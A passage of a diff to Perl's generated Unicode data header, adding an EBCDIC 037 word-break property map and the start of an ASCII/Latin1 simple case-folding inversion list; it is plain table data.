+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	WB_Other = 0,
+	WB_ALetter = 1,
+	WB_CR = 2,
+	WB_Double_Quote = 3,
+	WB_E_Base = 4,
+	WB_E_Base_GAZ = 5,
+	WB_E_Modifier = 6,
+	WB_Extend = 7,
+	WB_ExtendNumLet = 8,
+	WB_Format = 9,
+	WB_Glue_After_Zwj = 10,
+	WB_Hebrew_Letter = 11,
+	WB_Katakana = 12,
+	WB_LF = 13,
+	WB_MidLetter = 14,
+	WB_MidNum = 15,
+	WB_MidNumLet = 16,
+	WB_Newline = 17,
+	WB_Numeric = 18,
+	WB_Perl_Tailored_HSpace = 19,
+	WB_Regional_Indicator = 20,
+	WB_Single_Quote = 21,
+	WB_ZWJ = 22,
+	WB_EDGE = 23,
+	WB_UNKNOWN = 24
+} WB_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 037 */
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_Newline,
+	WB_CR,
+	WB_Other,
+	WB_Newline,
+	WB_Other,
+	WB_LF,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidLetter,
+	WB_Other,
+	WB_Single_Quote,
+	WB_Other,
+	WB_Double_Quote,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidLetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Format,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_MidNum,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_MidLetter,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_ALetter,
+	WB_MidLetter,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
 	WB_Extend,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Numeric,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Perl_Tailored_HSpace,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_Extend,
+	WB_ZWJ,
+	WB_Format,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidLetter,
+	WB_Newline,
+	WB_Format,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Format,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Hebrew_Letter,
+	WB_Extend,
+	WB_Hebrew_Letter,
 	WB_Other,
 	WB_Hebrew_Letter,
 	WB_Other,
@@ -21397,13 +91695,29 @@
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
+	WB_Other,
+	WB_Extend,
 	WB_ALetter,
 	WB_Other,
 	WB_Numeric,
@@ -21419,9 +91733,18 @@
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
@@ -21428,6 +91751,14 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Numeric,
 	WB_Other,
 	WB_ALetter,
@@ -21648,12 +91979,30 @@
 	WB_Other,
 	WB_Regional_Indicator,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Modifier,
 	WB_Other,
 	WB_E_Base,
@@ -21676,6 +92025,12 @@
 	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
 	WB_E_Base,
@@ -21690,6 +92045,10 @@
 	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
 	WB_E_Base,
@@ -21706,6 +92065,10 @@
 	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
 	WB_Format,
 	WB_Other,
 	WB_Extend,
@@ -21714,10 +92077,27192 @@
 	WB_Other
 };
 
+#   endif	/* EBCDIC 037 */
+
 #endif	/* defined(PERL_IN_REGEXEC_C) */
 
-#if defined(PERL_IN_REGCOMP_C)
+#if defined(PERL_IN_UTF8_C)
 
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV Simple_Case_Folding_invlist[] = { /* for ASCII/Latin1 */
+	1266,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xDF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
